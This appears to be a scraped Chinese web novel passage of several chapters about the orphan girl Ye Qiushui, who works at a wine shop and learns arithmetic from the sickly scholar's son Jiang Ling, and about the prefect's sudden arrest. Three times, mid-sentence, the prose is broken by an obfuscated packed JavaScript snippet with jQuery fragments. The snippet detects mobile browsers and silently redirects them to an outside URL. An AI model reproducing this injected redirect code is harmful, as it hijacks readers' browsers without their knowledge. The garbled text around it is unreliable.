贫穷像是一个笼子，人就是关在里面的驴，透过缝隙，驴可以轻易窥探到外面的绚丽与广阔，“未来”就像是一个挂在笼子边缘的萝卜，吊着驴拼死拼活地往前走，萝卜看似触手可及，似乎只要伸出手，总有可能够到，但实际上，驴在笼子里跑到死，都够不到那根萝卜，只因这个笼子是筑死的，没有钥匙。 穷人生出穷人，世世代代，好像永远都摆脱不了这个诅咒。 叶秋水不想成为叶大那样的人。 “叶秋水。” 墙头突然有人喊了她一声。 叶秋水循声望去，看到江泠从垣墙上探出头，他有些费力地踩上来，跳上柴火堆，一点一点爬下。 “江宁，你病好了吗？” 叶秋水一见到他就小跑上前，仰起头，担忧地盯着他。 叶大死去那夜，一直到他下葬，她都没有再看到江泠，她听垣墙内的下人说起江泠病了的事情，她想去看他，但是怕被江家的人发现。 “好了。” 江泠脸还是白的，病中一直没什么力气，且一整日都在应付知州夫人的寿宴，要见许多人，向许多长辈行礼，他不能懈怠，不然那样会很失礼，也怕在宴会中露出一点病态，坏了寿宴的喜庆。 等回到家中时，他已脚下虚浮，自己偷偷摸了摸额头，十分滚烫，衣服里衬也早已被冷汗浸湿，黏腻地贴在身上，他脸色苍白，虽然本身肤色便很白，但若是留心一些，一定能发现他现在的状态很不对。 不过宋氏与江二爷沉浸在喜悦中，没有注意到他的异样，所以他什么也没说。 点心放到明日会坏，江泠想着将吃的送给她，询问她父亲的丧事有没有处理完，再叮嘱一些事情，他就回去睡一觉。 江泠低下头，将手帕仔细包裹的点心拿出来，白玉霜方糕与琵琶酥都是极易碎与掉屑的食物，但江泠手中的这几枚却完好无损。 “给你吃。” 叶秋水眼睛亮了一下，接过，这时候才注意到江泠的打扮，他穿得精致漂亮，任谁看了都觉得他是全曲州城最好看的小官人，束了发，戴着抹额，衣着规整，模样清俊，一看就是出过门，去了什么重要的地方。 叶秋水一边吃一边好奇地问：“江宁，你病刚好就出门了吗？” “嗯。”江泠说：“去给一位夫人祝寿。” “哦。”叶秋水点头，仍问道：“你真的好了吗？” “真的。” 但他说“真”，叶秋水的样子看上去却好似很不相信，她盯着江泠的脸，目光探究，忽然踮起脚，抬手，摸了摸江泠的额头，寒冬腊月里，他的额头却烫得吓人。 小娘子掌心有些冷，江泠烧得晕乎乎的，看到她伸手过来，第一时竟然忘了躲。 等冰凉的触感传来，他才回神。 叶秋水皱眉，“江宁，你的额头好烫，你在发热。” “你的病没有好。”叶秋水看着他，“你在生病，为什么不好好躺着，还要出去？” 江泠往后一步，避开她的手，“我没有事，你快吃吧。” 叶秋水摇头，“你骗人，你在生病。” 江泠烧得很厉害，嘴唇泛白。 以前阿娘还在世的时候，每次她生病，阿娘都会摸她的额头，背着她去看病，叶秋水知道，如果一个人脸色很难看，额头又很烫，那他就是发热了，且病得很严重。 江泠垂着眸子，因为发热，反应迟缓，想一会儿才能回答她的问题，“有一些，不严重，回去吃药，睡一觉就好了。” 叶秋水将点心放下，转过身，忽然抬起手，抱住他，她手很短，只能够到江泠的腰身，轻轻拍了拍他的后背，说：“拍一拍，病痛飞走啦。” 小时候生病，阿娘就是这么抱着她哄她睡觉，拍一拍，第二天醒来，病痛就不见了。 叶秋水学着母亲哄她那样，哄江泠，拍一拍，明天他就好了。 她的手小，力气轻，像是一片羽毛。 江泠愣了一下。 从小到大，宋氏与江二爷没有这么同他说过话。 最开始生病时，他们还会担忧地围在他榻前，江泠先天不足，常有心悸的症状，气喘，咳嗽总不见好，一年到头都在吃药，后来渐渐的，他一哮喘，父母就会叹气，怕生病耽误学业，怕他会落后于别人，父母总是语重心长地告诫他，即使是生病，也不能忘了看书温习。 甚至是吵架，当着躺在病榻上的江泠的面歇斯底里地揭开那些旧事，宋氏斥责江二爷偷养外室，如果不是他，她不会早产，不会生下一个先天不足的儿子，江二爷忍无可忍，痛诉宋氏的高傲，他忍气吞声这么多年，早就受够了。 而后两人不欢而散，独留还在病中的江泠，他沉默地听着爹娘吵架，不知道该怎么劝阻，听多了，只能拉起被子，蒙住头。 宋氏还会抽噎地对他说，如果不是因为他，她早就同江二爷和离回老家了，他一定要争气，不然就是对不起当娘的受的委屈。 再之后，江泠生病就不会告诉任何人，再难受他都自己忍着，连近身的书童都不知道。 他已经习惯与药石相伴，心悸哮喘的时候，自己服下药，睡一觉，难受的时候不会有人拍他的背，告诉他病痛很快就飞走了。 “我没事的。” 江泠轻声开口，“真的，只是受了寒，有些头痛，回去吃了药，歇下就好了。” 叶秋水问：“真的？” “嗯。” 江泠点头，“我没有骗过你。” 他看着古板正经，不像是会撒谎的模样，叶秋水犹豫地收回手。 “你不要给我送吃的啦，你好好休息，我有钱的。” 叶秋水笑起来，眉眼弯弯，“你给我的钱，还有许多。” 五两银子，叶大丧事只花去一点，叶秋水很宝贵自己的财产。 “好。” 江泠淡淡地笑了一下，“我回去了，你记得不要乱跑，我上次同你说过，年关时人牙子很多，别去人少的地方。” 他说到后面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496467|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情又变得严肃起来。 “知道啦。” 叶秋水乖乖点头，“你快回家吧，我看着你。” “嗯。” 江泠转身要走，叶秋水又不知想起什么，拉住他，“等一下。” 江泠疑惑地看向她。 叶秋水上前，再一次环住他，动作很轻，“拍拍拍，将病痛全都拍走。” 她如同在掸去衣衫上的灰尘，拍动江泠的衣服，神情认真，煞有其事。 结束后，叶秋水仰起头，笑盈盈，“好啦。” 她身上罩着江泠上次给她的兔绒外衫，将自己裹得圆圆胖胖，因为怕冷，所以只露出一颗脑袋，两只手想要抱住江泠十分费劲，动作也笨拙，仰着脸，嘴角有浅浅的梨涡，笑起来甜甜的，像是冬日难得一见的暖光。 江泠垂下眸子，眼底静静的，点了点头。 * 天气渐渐冷了起来，曲州开始下雪。 江家与知州府走得越来越近，隔三差五，宋氏就会与孙夫人和杨夫人人相约一起喝茶游玩。 江二爷也终于在府衙谋得一官半职，他已不是小小的主簿，仕途上更上一层楼，应酬变多，回家的次数也越来越少。 知州知县有什么事情都带着他在身侧，江二爷升迁，整个江氏都为此高兴，同样，他们也期盼着江泠能早些被举荐入京，去国子监读书。 因此将要年关的时候，江泠能出门的次数越来越少，他从早到晚都在看书，生病的时候，床头也摞满厚厚一叠课业，常常还在发着烧，便被拖起来看书背经史，眼前烧到发白，什么都看不清，也得等背完书才被允许躺下来休息。 没有长辈，没有县衙的补贴，叶秋水开始学着做事情。 但她能做的不多，只有帮别人跑腿、端盘子，许多地方会觉得六七岁的孩子毛手毛脚，不如大人灵活，但也有的地方觉得孩子好压榨，明明干着同样的工作，报酬却只有一小半。 叶秋水在一间酒肆替主人家端盘子，一日的报酬是两文钱。 不识字，又没有一技之长傍身的文盲，连糊口都困难。 店家是个抠搜的男人，舍不得花钱雇大人，专找一些半大的孩子，用低廉的报酬雇佣他们给自己干活。 两文钱，不仅要跑腿端盘子，有时还要择菜，洗碗。 叶秋水只干了几天，脚底便长满水泡。 店家看不得工人停下来歇息片刻，她只能不停地走动。 夜里酒肆打烊，叶秋水踮着脚，擦桌子，擦柜臺，一旁店家正在拨动算盘算账，身边站着他的小儿子，圆头圆脑，胖得衣服都挤开，男人一边伸着手在账本上指指点点，一边拎着儿子的后领，教他怎么算。 可惜儿子是个猪头猪脑的，挠着头，拨动珠盘，算了几遍，账目都是一团糟。 男人暴怒，“你把九归口诀背来。” 小孩生不如死，嗡声嘟囔：“逢一进一，逢二进二……逢三进一，逢六进二，逢九进三，三一三余一，三二六余二……” 他背得磕绊，男人手拿戒尺，错一下，打一下，不一会儿，小孩涕泪连连，抹着眼泪拨弄算珠。 叶秋水在不远处看得津津有味，手上也模仿起拨算珠的动作，低声念叨：“三一三余一，三二六余二……” 那小孩算术学得不精，长辈只能从头教起。 许久，叶秋水擦完桌子，擦柜臺时，她刻意慢了些，盯着小孩写字的动作。 等背完九归口诀，男人问了一个简单的算术题，小孩支支吾吾，在纸上涂涂画画，久久说不出答案。 一旁的叶秋水拧了拧抹布，脱口而出，“是三十又七钱！” 18. 逾矩 一个小孩子的声音并没有人注意，店家还在教儿子打算盘，无视了叶秋水的话，只当她是胡言乱语。 倒是店家的儿子算术算的头疼，听到她的声音，如同抓住救命稻草，连忙回答，“是三十七钱！” 闻言，男人哼了一声，握着戒尺敲了敲他的肩膀，“她不识字，随口乱说的你也信，你自己算，算不出来就跪在外面。” 男孩愁眉苦脸，耷拉着肩，握着笔继续在纸上图画。 叶秋水听到父子俩的对话，咕哝道：“就是三十七钱。” 半晌，男孩算出答案，“爹，我算出来了。” 男人接过纸张，看了两眼，诧异，“还真是三十七钱。” 方才那个丫头随口之言，居然是对的。 “水丫头。” 店家搁下算盘，唤道。 叶秋水放下抹布，小跑过去。 “你怎么知道方才那道题是三十七钱？” 叶秋水答道：“算的。” 店家笑道：“你学过算术？” “没有。”她摇了摇头。 “那你怎么会算？” 叶秋水说：“听你们说的，九九八十一，八.九七十二……二二如四……逢一进一，逢二进二……三一三余一，三二六余二……” 她开口，一字一顿，流利地将口诀背出，甚至还记住了几句珠算的方法。 店家惊诧不已，小姑娘一字不错，没有人教过她算术识字，只听着他们方才的交谈声，她就已经背下，甚至能运用来解题。 “你过来。” 男人招了招手，叶秋水走到柜臺后，听他说道：“有商携铜钱二十贯，购布十匹，每匹布价三贯，后售布七匹，每匹得钱四贯。又购绢二十匹，每匹价二贯，售绢十五匹，每匹得钱三贯。商盈亏几许？” 这个算术题并不复杂，难得是要算许多步，还要考虑欠银归还，若是加上利息，又要难算许多，且叶秋水之前并无人教导，只是听他们说了一个时辰，背了算术口诀，男人没指望她能解出。 但叶秋水蹲下身，用手指在地上比划，口中念念有词，“四七二十八，盈十八……欠银四十……本金二十，盈……” 叶秋水眼睛一亮，说：“三贯！” 她算得不快，但胜在条理清晰，不会出错。 反倒是一旁店家的儿子，抓耳挠腮，在纸上涂涂画画，支支吾吾。 一个是教了无数遍，但榆木脑袋不开窍的猪儿子，一个是在边上擦桌子，只听了片刻就背下口诀的孤儿，店家头痛恼怒，不停叹气。 忍不住扭头，吼道：“我教了你多少遍，给你送了多少束脩，你学的还不如人家听了几遍的小丫头！” 柜臺后的小男孩撇了撇嘴，嘟囔，“没爹没娘，算得快又有啥了不起的。” 叶秋水听到，并不在意。 店家又出了几道题，她都一一解出。 算术并不难，但她现在只会最简单的加减相乘，再复杂的就不会了。 夜里，店家给叶秋水拿了三枚锅中没有卖完的水晶饺，结算了今日的工钱，叶秋水欢天喜地地跑回家中，将两枚铜钱存进罐子里，藏在灶台下。 随后她爬上墙，黑灯瞎火中，一路摸到江泠院子旁。 院子里里三层外三层都是人，小丫鬟蹲在廊下，摇动扇子，炉子上正煎着药。 里面传来说话声，是宋氏的声音。 “昨日知州夫人还同我问起你呢，说怎么三郎不来赴宴，我说你病了，知州夫人很关心你，你快些好起来，过几日我们去拜访夫人。” 寿宴过后，江家与知州府常走动，知州府阔绰，孙夫人隔三差五就办些赏梅宴，清茶宴，请全曲州城的贵妇人们到家中游玩，宋氏是捧场最多的，喜欢与这群官家夫人们结交，对孙夫人与县令夫人的喜好如数家珍。 江二爷攀上孙知州，如今在府衙任职，满面春风，十分得意。 “这些书都看过了？” “看过了。” 江泠回答。 “你将文章写好，我让人拿去书院给学究看，这些天病着，可不能将功课落下。” “嗯。” 宋氏又叮嘱几句，在丫鬟婆子们的簇拥下出门，她神情张扬喜悦，近来走路生风，出了门，停在廊下，叮嘱角落的婢女道：“药要煎好了，时辰，火候，分毫不能错。” “是，二娘子。” 从里忙到外，叮嘱完一群人，宋氏终于离开。 没多久，丫鬟端着煎好的药进门，江泠面不改色地喝完，她们打扫好屋子，点上熏香，将炭火拨得旺些，纷纷离去。 只是院子里还有人守夜，外人没法随意进出。 叶秋水绕到后面，像个猴子似的，顺着垣墙灵活地滑下。 屋中，江泠靠着床榻，肩上披着薄衾，低头，翻动书页。 蓦地，窗户被敲响，声音很细，像是小猫爪子拍了拍，寒冬腊月里，很少有野猫会到处乱跑。 江泠眸色微动，抬起头，盯着黑影晃动的窗户。 “江宁！” 有人轻轻唤他，口齿不清。 江泠听见，神色怔愣一瞬，反应过来，立刻掀开被子下榻。 他快步跑到窗前，拉开，叶秋水站在窗户外，踮着脚，费劲地探头。 她个头矮，只堪堪与江泠屋中的窗户一样高，要踮起脚才能看到他。 江泠惊道：“你怎么在这里？” “我来看你呀。” 叶秋水笑说，她胆子很大，又机灵，小小一个在黑夜中钻来钻去，江家的下人竟然都没有发现她。 “你病好了吗？” 小娘子仰起头，语气满是关怀。 “快要好了。”江泠告诉她，“再喝两天药。” “我给你带了吃的。” 叶秋水有些兴奋，她踮起脚，费劲地让自己探出头，高举起手，将她带来的食物放在窗台上。 “我在酒肆擦桌子，一日两钱，今天走的时候，店家给了我几只水晶饺。” 叶秋水将油纸包往他面前推了推，“你快吃。” 从前都是江泠投喂叶秋水，但叶秋水是个穷丫头，她没有东西可以给江泠。 这些精致的点心，她只在店里看别的客人吃过，每次她都走不动道，在旁边要看上许久，今日店家给她几只，叶秋水也好几次差点私吞，不过她还是忍住了，她想将好东西分享给江泠。 江泠刚喝完药，嘴里发苦，吃不下任何东西，但叶秋水冒着被大人发现的危险来到他这里，她仰头期待地看着他，眼睛亮晶晶的，江泠说不出拒绝她的话。 他不想她伤心。 江泠接过，拿起一枚咬下，叶秋水紧张又目含期盼地看他，她太单纯，什么心思都写在脸上，期待地问：“好吃吗好吃吗？” 江泠点头，“好吃，我喜欢，多谢你。” 叶秋水立刻开心得蹦起来，她眼睛笑成了月牙儿，“不用客……呀！” 太激动了，“嘭”的一声撞上窗棂。 屋外，婆子的声音响起，“泠哥儿，怎么了？” “无事！” 江泠扬声回答，叶秋水紧张得屏气凝神，待糊弄完婆子，他回头，看见她连头发丝都是紧绷的模样，突然轻轻一笑。 江泠模样好，平时总神情严厉，沉默寡言，突然的笑让人很惊讶，叶秋水呆呆地看着他。 “进来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496468|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他忽然说，而后伸手，将叶秋水从窗台外捞了进来。 江泠清瘦，虽然长年累月地病着，但抱起一个六七岁的小姑娘对他来说实在太轻松。 屋中点着炭火，暖融融的，叶秋水一进来就热了，她好奇地打量着里面的布置，江泠住的地方很讲究，墙角有架子，上面摆满了书，“文盲”叶秋水一下子就看呆了。 她环顾四周，走来走去，脸上写满惊奇。 “江宁，你生病的时候还要看书吗？” “嗯。” 江泠走到柜子旁，翻找药油。 叶秋水跟上去，看到里面摆满瓶瓶罐罐，江泠平日要吃的药丸很多，都放在床边的柜子里，一打开，一股浓烈的清苦味便传出。 她惊讶地说：“江宁，你吃的药好多啊，吃药很苦的。” 以前生病，阿娘让她吃药都要哄许久。 江泠找出药油，走到她面前，掀开她额前的碎发，低头，将药油在掌心捂热了，擦在方才叶秋水撞到的地方。 他神情认真，做事妥帖。 叶秋水话很多，一进来便叽叽喳喳，“江宁，我会算数了。” 她开口将算术口诀与九归口诀背给他听。 江泠问道：“哪里学的？” “听人说的。”叶秋水说：“但我还有许多不懂的地方。” “嗯。”江泠点头，“我教你。” 擦完药，他领着叶秋水到书架前，从上面翻出《九章算术》，书中包含栗米，衰分，均输等题目，江泠拿出一张纸，从最简单的数开始教她，个、拾、佰、仟、万……叶秋水站在一旁，听得聚精会神，频频点头。 “珠算就同你背的口诀一样，你记住它就好。” 江泠提笔，在纸上画出一个简单的算盘，他讲解时条理清晰，直击重点，少年嗓音清冷，江泠垂着眸子，修长削白的手指在纸上点点画画，讲片刻，停下来，侧目看向叶秋水，“能听懂吗？” “嗯嗯。” 这些东西叶秋水学得很快，她在算学上似乎很有天赋，甚至可以举一反三。 很快，她已经可以解出九章算术上的几道题目。 但叶秋水不认字，所以题目都需要江泠读给她听。 深夜，江泠送她离开，还给她一本《九章算术》，看着她艰难地爬上墙，返回自己家中。 如今见面，确实很不方便，江泠看着高墙心想。 不久，他向母亲提出要搬回原来的院子，宋氏一听，先是惊诧，“如今的院子住着不好吗？” 江泠平静道：“南边的房屋朝向不好，入冬后屋里总是昏暗，看书久了眼睛疼。” 宋氏一听，顿时打起精神，寻思一番，从前江泠住在北边的院子，房屋坐北朝南，采光极好，江泠喜欢坐在窗户边看书，那时他们将要搬来这里，宋氏特地挑了那间房屋给江泠住，就是为了方便他看书。 后来要不是他与邻家小女交好，宋氏也不会让他搬到别的地方。 如今已经三个月过去，江泠第一次提出要换回去。 宋氏先是狐疑地看了他一眼，她害怕江泠再重蹈覆辙，学坏。 但江泠面色如常，神态自若，只是在向她提建议。 她知道，自己的儿子不会说谎，不会逾矩。 对于学业上的事情，宋氏很看重，如果熬坏了眼睛，以后会影响仕途。 她沉思一番，点头，“就搬回原来的院子吧，叫下人将墙敲低些，不要挡到光。” 这几个月，那个姓叶的孩子老老实实的，没有再偷爬过江家的院子，她心中还算放心。 小雪时，江泠终于搬回原来的住处，那道矗立了三个月的高墙，轰然坍塌大半。 19. 变故 秋末，江家老太爷病逝，各房的子子孙孙回家奔丧，又过了一段时间，腊月底老夫人七十大寿，子子孙孙又都齐聚在主宅，老人家喜欢热闹，疼爱晚辈，整个寿宴间笑语声不断。 孩子多的地方难免有比较，年关又将近，各个学舍书院都在考核评优，江泠江晖是堂兄弟，还是同龄，席上被比较最多的就是他们二人。 当然，好话都不是说给江晖听的。 “这次县学的考核，听说三郎又是第一呀，想必来年春就要去国子监了吧，我先提前恭喜二爷与嫂夫人了。” 按照大梁的人才选举制度，各州府督办的学校每两年可以向京师举荐三名学生，学生进了国子监后，将由朝廷最出色的先生教导，可以选择继续求学，将来参加会试，入朝为官，也可以被派遣到地方的官办学校，教导别的学生。 基本上可以说，进了国子监，便是一只脚踏进仕途了。 而江泠每一次的考核都一骑绝尘，这名额不出意外他必然占一个，且如今江家水涨船高，家底丰厚，又与官员交好，江泠明年入国子监的事情似乎已经板上钉钉。 难怪众人都在恭维，席上宋氏与江二爷脸都快要笑烂了。 江泠却只是安安静静地吃着东西，不搭话。 另一边，四夫人脸色难看，艰难地维持着笑容，大家的注意都放在另一边，四夫人低着声道：“得意什么，不知道的还以为已经考上状元了呢。” 她话语很酸，筷子下意识在碗里戳了戳。 一旁的江晖低着头。 江四爷也看了他一眼，脸上很是不满。 这次书院的考核，江晖的文章写得很差，学究看在江家的面子上，没有批评得太狠，席上客人笑语盈盈恭维江二爷夫妇，他们这里却如乌云遮蔽，愁眉苦脸。 “你怎么还比不过一个药罐子呢。”四夫人说：“小时候，你比他先学会走路，也先开口说话，那时整个江家都喜欢你，说你将来肯定有出息。” “结果呢。”她哼了一声，“你是越比越差了。” 江晖头都快埋进碗里，“爹、娘，别说了……” “我告诉你，人家明年可就要去京城了，而你连县学都考不进，我看你什么时候能出头。”江四爷压着声，语气不悦。 “三哥有出息，我们也能沾光，不是吗？” 江晖抬起头，犹豫地反驳，大家都是一家人啊。 “呵。”四夫人冷笑，“什么一家人，人家当了官后，还管得着你一个乡下亲戚？你不知道你二伯，只是个小官罢了，这些年他何时正眼瞧过其他兄弟？族中偏爱二房，将来江泠做了官，你看这个江家还能有多少家业落到你手上。” 夫妻二人喋喋不休，江晖听得头疼，别过头。 晌午时，知州府与县令府先后派人送来贺寿礼。 江家虽然有钱，但也只是商户，官员却专门让人为老夫人祝寿，可见大官们对江家的重视。 老夫人受宠若惊，颤颤巍巍地从椅子上站起，由宋氏与江二爷扶着，亲自前往前厅见客。 来的是知州大人的儿子，孙仲言一身锦衣，环玉佩带，十分矜贵，他抬手作揖，“晚辈孙仲言，听闻老夫人今日大寿，家中早早就备下贺礼，只可惜家父近来公务繁忙，母亲又偶感风寒，无法亲自来向老夫人祝寿，特遣晚辈携礼而来，愿夫人鹤寿千岁。” 话音落下，老夫人喜笑颜开，连忙上前将他搀扶起，“好孩子，老婆子我一把骨头了，怎劳得你们这般费心，替我好好谢谢知州大人与夫人，改日定登门道谢。” 孙仲言笑了笑，应下。 江二爷立刻扬声，“仲言快坐，来人加一把椅子，碗筷！” “不了世叔。”孙仲言说：“家中还有事，不便久留，礼既然送到晚辈就先走了。” 江二爷略带失望地叹了声气。 孙仲言转身，忽然停下，目光落在江二爷身后的江泠身上，笑道：“嘉玉，过几日一起打马球。” 江泠心里觉得莫名其妙，他根本就不会打马球，也同孙仲言不熟，但是不好拒绝，面上仍是点了点头。 远处，一看到孙仲言出现，江晖的眼睛便亮了起来，在人群中挤来挤去，抬头张望。 在书院里，他与孙仲言玩得好，江晖想，虽然他别的地方比不过三哥，但三哥孤僻寡言，没有朋友，不比他与曲州的小官人们玩得好，尤其是孙仲言。 听到孙仲言喊江泠，他涌上前，怕孙仲言没看到他，大声喊道：“仲言，仲言！” 如此突兀的一声，周围的人都扭头看向他，江晖顿时讪讪，声音也弱了下去，他期盼地看向孙仲言，希望他也邀请他去打马球，最好比方才喊江泠时更热情熟络些。 但孙仲言闻声转过头，看了他一眼，却什么都没说，径直就离开了。 江晖待在原地，愣住。 * 今年冬日严寒，街上很早就有人背着炭篓走动，每日早上，叶秋水都要里三层外三层地将自己裹严实，冒着雪去酒肆端盘子。 店家昨日说，冬天生意不景气，客人少，所以工钱要减半，还要裁去几名伙计，但他觉得叶秋水干活麻利，所以决定留下她，工钱照旧，但是要干两份活。 叶秋水年纪小，傻傻地以为别人对她好，擦桌子擦得更加卖力，叶秋水渴望钱，她把每天赚的钱都攒着，攒得越来越多，她再不怕挨饿，或是被人卖掉。 白天，她在酒肆端盘子洗碗，夜里找江泠学算术。 曲州下第一场雪的时候，江泠被允许回到最初的院落起居，宋氏对他很放心，院子里没有人管着他，叶秋水可以肆意地爬上爬下。 江泠教她算术，还教她识字，以免她被人诓骗，随随便便在什么契纸上画押。 出身于一个富奢的家族，又有一个当官的父亲，江泠见过许多因为不识字，被人哄骗签下卖身契的例子。 叶秋水几乎每日都去找江泠，除了他回江家主宅为祖母贺寿的那几日，等他终于回来时，叶秋水因为一连干了几天，脚踝肿胀，累得不愿起身，也没有精力再去找他。 江泠迟迟等不到人，最后拿着食物去找她，他熟稔地滑下墙，敲门，喊她的名字，“怎么不过来？” 叶秋水趴在榻上，光着脚，脚跟被磨得通红，长了许多水泡，她累得不想动弹，听见江泠的声音，也没有起来开门，只应答一声。 江泠推门进来，看到她的模样，怔了一下，“今日下大雪，你还去酒肆了？” “是呀。” 外面积雪深厚，没到脚踝。 叶秋水脸埋在被衾里的嘟囔，“一日不去，店家就不要我了，我太小，很多地方不会要小孩子。” 小孩子贪玩，贪吃，且毛手毛脚，一不小心就会碰坏东西，许多地方招工人只要大人。 但叶秋水不一样，她做事情认真，不会小偷小摸，不属于她的东西绝不乱拿，酒肆的店家对此很满意。 江泠问：“你一日工钱多少？” “两文。” 江泠想了想，他不管内务，但也依稀记得宋氏曾提起过，家中最下等的婢女月例也有五百钱，一日就是十七文。 叶秋水干的都是粗活，跑来跑去不得歇，但店家却欺她年幼，用如此低廉的价格去雇佣工人。 江泠想到什么，说：“今年大雪，县衙应当会发放米粮，你可以去领。” 听闻这话，叶秋水却疑惑地看向他，“为什么会送米粮？” “书上是这么说的，太.祖在时立下规矩，每逢大旱、大雪、大水，朝廷都会拨钱下来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496469|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各地的贫民能领到粮食，不至饿死。” 像曲州这种经常发生水灾旱灾的地方，朝廷每年的拨款都很多。 “你每月不是去领过吗？” 每个县的赤贫户都可以领取米粮，用以生存，叶大还在的时候，叶秋水曾经领过，虽然规矩是这么说的，但时常领不到，还经常克扣，后来叶大死了，叶秋水成了孤儿，她又小又好欺负，更加领不到粮食。 他说了这么多，见叶秋水仍是一副困惑的模样，江泠神色惊疑地问：“你没有领过粮吗？” “领过，很少。”叶秋水回答他，“不及你所说的这么多，有几个月去，他们都将我赶走，说没有粮了。” 江泠沉默。 他给叶秋水留下擦拭水泡的药，心绪沉重地回到家中。 接下来的几日，江家上下都在为了新年做准备，江泠随宋氏去过知州府几次，也随父亲去拜访过几名官员，他向他们提出，朝廷的拨款并没有及时送到贫民手中，曲州城内孤儿很多，也有许多人领不到按规定会发放的米粮，他希望在场的官员知道这个问题后能出手解决。 为此，江泠甚至特地写了一篇文章，详细地指出了几个漏洞，但被江二爷看到后没收。 他问出问题，气氛却僵住，几个官员哈哈一笑，将话题岔开，没有人回答他。 回到家，父亲警告他，以后不要再胡言乱语。 江泠不明白，这怎么算是胡言乱语。 除夕前，宋氏带着他去成衣铺看料子，同他说起要去给孙知州与杨知县送礼拜年的事情。 孙夫人，杨夫人等等官眷的喜好宋氏打听得很清楚，她从这间铺子，忙到另一间铺子。 除了给大人物们备礼外，还要给江泠量新衣，将来去了京城，吃穿用度得比现在还要好，不然会被人瞧不起，正好，江家不差钱。 江泠在布铺里陪宋氏忙活，百无聊赖地看着门外，忽然，一个衣衫褴褛，背着重重一筐炭的老翁经过，声音微弱地吆喝。 江泠连忙上前，将自己的压祟钱给他，“老伯，这个给你。” 卖炭的老翁呆呆地看向面前清秀俊朗的少年，“这……” “拿着吧。”江泠说：“气候寒冷，您衣衫单薄，这些炭留着自己过冬，下雪了，快回家吧。” 他压祟钱很多，随便拿一些都够一个普通人家过完整个冬天。 老翁惶恐接下，连声道谢，一声又一声小善人地叫他。 江泠目送他步履蹒跚地远去，大雪纷飞的冬日，卖炭为生的老翁却饱受严寒之苦，他心情很复杂。 买完东西，江泠一路上没有说话，随宋氏回家。 听她又在孙夫人长，孙夫人短，教导他过几日去给孙知州拜年，一定要说喜庆话，要多笑。 江泠不喜欢听这些，但他不会忤逆父母，只能自己扭过头，看着马车外出神。 蓦地，他瞥见街边，那个被他赠过银子的老翁仍然背着箩筐，一声接一声吆喝，他仍旧穿得单薄，瑟瑟发抖，筐中炭卖出一些，他没有回家。 江泠不明白，为什么明明有了钱，他们还要在外挨饿受冻呢？ 但他片刻后又想明白了，他们是舍不得让自己享福的，这些炭，那个老翁再冷也不会用的。 他有些颓丧地塌下肩膀。 回到家，宋氏开始整理新年的贺礼，她做事有条不紊，又吩咐其他人装饰宅院，挂上红灯笼，贴上春联。 忽然，有丫鬟冲了进来，神色慌乱，脚下甚至被门槛绊了一下，险些摔倒。 “赶着投胎吗，急急慌慌地做什么？” 宋氏见状，斥了一声。 “二娘子，不好了不好了！” 丫鬟扑过来，哭着说：“孙知州下狱了，知州夫人也被抓走了！” 20. 将倾 除夕的前一夜，一群官兵穿行在东门街，许多人都目睹他们涌进知州府中，接着，威望素著的孙知州被官兵从府里拖了出来，披头散发，手上还戴着镣铐，知州夫人跟在后面求饶，平日雍容华贵的贵妇人此刻涕泪满面，狼狈不堪，官兵搜查完整个知州府，将孙府一家上下十几口人全都带走了。 曲州乱成一锅粥，深夜，巷子里灯火通明，有人幸灾乐祸，有人惶惶不安，派出去打听消息的仆人来来往往，穿梭在黑暗中。 宋氏在厅内踱步，布置新年的活计也暂被搁下，她手中绞着帕子，面色焦急，看到先前出去打探消息的小厮回来，连忙上前，“外面怎么样了？” “知州夫妇双双下狱，孙小官人也被抓走了，我听到他们说下来拿人的是京城的大官，二娘子，知州府怕是逃不过此劫了！” 宋氏脸一白，身子晃了晃，一旁的婆子搀扶住她，“二娘子，您慢些。” “怎么会这样？”宋氏脸色难看，心中不安，她侧目，环顾四周，“二爷呢？” 丫鬟们面面相觑，是啊，二爷呢，这个时候二爷去哪了？！ 江宅鸡飞狗跳，宋氏心绪不宁。 高墙下，江泠正在教叶秋水写字，她不会握笔，江泠不厌其烦地纠正许多次。 寒冬刚开始时，两人还能经常见面，渐渐的，江泠出现的次数越来越少，他会托信任的小厮为叶秋水送来食物，但他本人却很少露面。 年关一过，江泠可能就要启程去京师，他要准备许多东西，家里来往的人很多，他没有时间再去找叶秋水，只偶尔有空能教她写几个字，考一些算术题。 这么久来，叶秋水的算术已经学得很好了，店家多给她涨了两文钱，让她帮忙记账。 店家的胖儿子看她很不满，经常偷偷欺负她，但叶秋水从来不会让自己受委屈，别人打她，她就加倍打回去，打得那小胖子看见她就灰溜溜躲远。 除夕前，江泠终于得空。 